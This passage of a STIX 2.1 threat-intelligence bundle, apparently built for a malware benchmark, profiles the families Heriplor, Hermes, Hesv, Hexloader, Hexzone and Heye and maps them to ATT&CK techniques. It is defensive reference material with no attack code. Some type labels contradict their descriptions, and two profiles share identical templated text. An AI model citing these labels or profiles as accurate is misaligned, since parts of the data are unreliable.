      "source_ref": "malware--73437fb3-bfb4-5b4e-9b0a-c9a14a281b86",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hematite exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51697916-5751-5fd5-b5ef-c3fb04e42d1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73437fb3-bfb4-5b4e-9b0a-c9a14a281b86",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hematite exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--ee167224-c3ac-5c79-bdf1-88c2f727429f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1573.001: Encrypted Channel: Symmetric Cryptography",
      "description": "MITRE ATT&CK Technique T1573.001 (Encrypted Channel: Symmetric Cryptography) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1573.001",
          "url": "https://attack.mitre.org/techniques/T1573/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b8c0695-ad04-585b-b16a-abe0e15dfee5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73437fb3-bfb4-5b4e-9b0a-c9a14a281b86",
      "target_ref": "attack-pattern--ee167224-c3ac-5c79-bdf1-88c2f727429f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hematite exhibits technique T1573.001 (Encrypted Channel: Symmetric Cryptography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85498850-5533-5d8c-a100-eabc631164fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73437fb3-bfb4-5b4e-9b0a-c9a14a281b86",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hematite exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8ba3b26-05ba-5457-acb3-47de0e7ab51a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73437fb3-bfb4-5b4e-9b0a-c9a14a281b86",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hematite exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e6dd9337-33ab-50e5-9a33-e31187206998",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Heriplor",
      "description": "<h3>Executive Summary</h3>\nHeriplor is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHeriplor is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Heriplor operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Heriplor ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Heriplor receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Heriplor infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Heriplor executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Heriplor frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Heriplor",
        "Downloader.Heriplor",
        "Win32/Heriplor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Heriplor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/heriplor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1eb1ddff-b7a0-57d4-bab9-81000669e4a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6dd9337-33ab-50e5-9a33-e31187206998",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Heriplor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b25cbdb6-bd3a-5a5e-8966-c63668afb605",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6dd9337-33ab-50e5-9a33-e31187206998",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Heriplor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55784049-bbd2-5fb2-9b84-25874c8f42c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6dd9337-33ab-50e5-9a33-e31187206998",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Heriplor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bf610d1c-efc3-5c32-998b-128d040396d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hermes",
      "description": "Ransom:Win32/Hermes is a targeted, destructive ransomware strain first observed in early 2017 across Russian cybercrime underground forums. In October 2017, Hermes rose to global prominence when it was deployed by the North Korean state-sponsored threat group Lazarus Group (specifically APT38 / Hidden Cobra) during the high-profile cyber heist against Taiwan's Far Eastern International Bank (FEIB). In that intrusion, Lazarus leveraged Hermes as a diversionary wiper-ransomware payload to paralyze incident responders, obscure forensic artifact trails, and destroy local system logs while operators executed fraudulent SWIFT interbank transactions totaling $60 million. Hermes is historically significant as the direct technological predecessor and codebase progenitor for Ryuk ransomware, which emerged in mid-2018 when the Wizard Spider cybercrime syndicate adapted Hermes' source code for targeted enterprise big-game hunting. Hermes employs RSA-2048 public key encryption paired with per-file AES-256-CBC symmetric keys, terminates critical database and backup services via batch script command loops (HERMES.bat), and securely destroys Shadow Copies through vssadmin and bcdedit system manipulation. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Hermes",
        "Hermes 2.1",
        "Ransom.Hermes",
        "Trojan-Ransom.Win32.Hermes"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hermes",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hermes"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--064803c7-80ed-5883-aca2-f7714342f9c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf610d1c-efc3-5c32-998b-128d040396d3",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hermes exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2941a10-3879-5695-aade-4195381f69c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf610d1c-efc3-5c32-998b-128d040396d3",
      "target_ref": "attack-pattern--f4dff660-6b8e-56cd-ac2a-fd397d272c8a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hermes exhibits technique T1070.001 (Clear Windows Event Logs)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a8fb7b7-03a9-5fc5-9582-f3418612e56c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf610d1c-efc3-5c32-998b-128d040396d3",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hermes exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43752dd0-2b0c-5dbc-9c5f-bac996ef1c70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf610d1c-efc3-5c32-998b-128d040396d3",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hermes exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--942fa1dd-4820-52c8-8667-aaf058538dc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf610d1c-efc3-5c32-998b-128d040396d3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hermes exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea1a615a-f2ee-502d-91be-5e968047c2d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf610d1c-efc3-5c32-998b-128d040396d3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hermes exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bb31aec8-8091-5649-b640-5c84c04f83a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hesv",
      "description": "Hesv (cataloged across security intelligence repositories under identifiers including Trojan:Win32/Hesv, Trojan.Win32.Hesv, and Trojan.MSIL.HESV) is a versatile Windows trojan, credential harvester, and screen-locking ransomware precursor first identified in 2014. Distributed primarily through compromised freeware repositories, pirated software cracks, and spam email campaigns, Hesv operates both as a standalone surveillance module and as a multi-stage loader. Upon infection, Hesv conducts deep environment interrogation to detect sandbox hypervisors and security debugging tools before dropping persistence files into user directories. Depending on the specific variant deployed (.gen, .fulq), Hesv captures user keystrokes, takes periodic screenshots of desktop activity, extracts saved browser passwords and cookies, or locks the host desktop display with an extortion notice demanding ransom. Furthermore, Hesv establishes encrypted command-and-control communication to download and stage secondary payloads including cryptocurrency miners and network discovery tools. (Observed samples in benchmark: 93)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Hesv",
        "Trojan.Win32.Hesv",
        "Trojan.MSIL.HESV",
        "Win32/Hesv"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hesv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hesv"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6bf3474-86b0-5ffd-bf64-3d8f7fb88555",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb31aec8-8091-5649-b640-5c84c04f83a4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hesv exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5b3cc98-302c-5b79-9f16-9ea7bb02b079",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb31aec8-8091-5649-b640-5c84c04f83a4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hesv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae24547f-c9f0-565b-b848-280804aa5aae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb31aec8-8091-5649-b640-5c84c04f83a4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hesv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de7f9ff2-6c3e-5cbf-9779-68c8cf8d94c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb31aec8-8091-5649-b640-5c84c04f83a4",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hesv exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b89c6f3-62a2-5940-a22c-78cf0ac19ef1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bb31aec8-8091-5649-b640-5c84c04f83a4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hesv exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f1a2869e-b9cf-5bcf-89d7-154bbbb1872b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hexloader",
      "description": "Trojan:Win32/Hexloader is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hexloader</b><br>To an end-user, a Hexloader infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hexloader is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hexloader is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hexloader frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hexloader reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hexloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hexloader"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0f0a1f0-9232-53cd-8c75-f8d539f51f75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a2869e-b9cf-5bcf-89d7-154bbbb1872b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexloader exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4670bf27-2461-5c72-a628-a99429f095f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a2869e-b9cf-5bcf-89d7-154bbbb1872b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexloader exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef732da6-d753-5231-b22a-6fabee6d0479",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a2869e-b9cf-5bcf-89d7-154bbbb1872b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexloader exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4ea3016-b84b-5ec8-b225-8b12a4b1ee02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a2869e-b9cf-5bcf-89d7-154bbbb1872b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexloader exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f550599-725f-58c4-ae61-d61a7f6d4e9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a2869e-b9cf-5bcf-89d7-154bbbb1872b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexloader exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--09474f79-6e25-5528-85af-ea6180cfb652",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hexzone",
      "description": "Trojan:Win32/Hexzone is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hexzone</b><br>To an end-user, a Hexzone infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hexzone is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hexzone is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hexzone frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hexzone reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hexzone",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hexzone"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e444de22-7c23-5919-9ebd-c06e70640d9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09474f79-6e25-5528-85af-ea6180cfb652",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexzone exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76db74c8-d273-50d8-a3ca-999e319e658d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09474f79-6e25-5528-85af-ea6180cfb652",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexzone exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--417bfb8b-99b9-50a9-9e88-081f22d6a894",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09474f79-6e25-5528-85af-ea6180cfb652",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexzone exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be556713-76fb-5b61-a0de-036a87873861",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09474f79-6e25-5528-85af-ea6180cfb652",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexzone exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d41c7d9f-203f-538f-8f55-4f743bb2dd33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09474f79-6e25-5528-85af-ea6180cfb652",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hexzone exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--383ca64c-3aaf-5f24-af03-d0c3f769159d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Heye",
      "description": "Adware:Win32/Heye is a persistent Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements and monitor user browsing habits, thereby generating illicit affiliate revenue and harvesting marketing data for the developers.<br><br><b>Understanding Heye Adware</b><br>To an end-user, a Heye infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Heye is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries, visited URLs, and sometimes even form data, sending this telemetry back to the adware operators to serve highly targeted injected advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks, often containing base64-encoded strings of the user's browsing history in the URL parameters. EDR logs will flag the installation of the Heye extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Heye",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/heye"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea1b345e-d21a-597c-89ab-4dd33d67f1ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--383ca64c-3aaf-5f24-af03-d0c3f769159d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
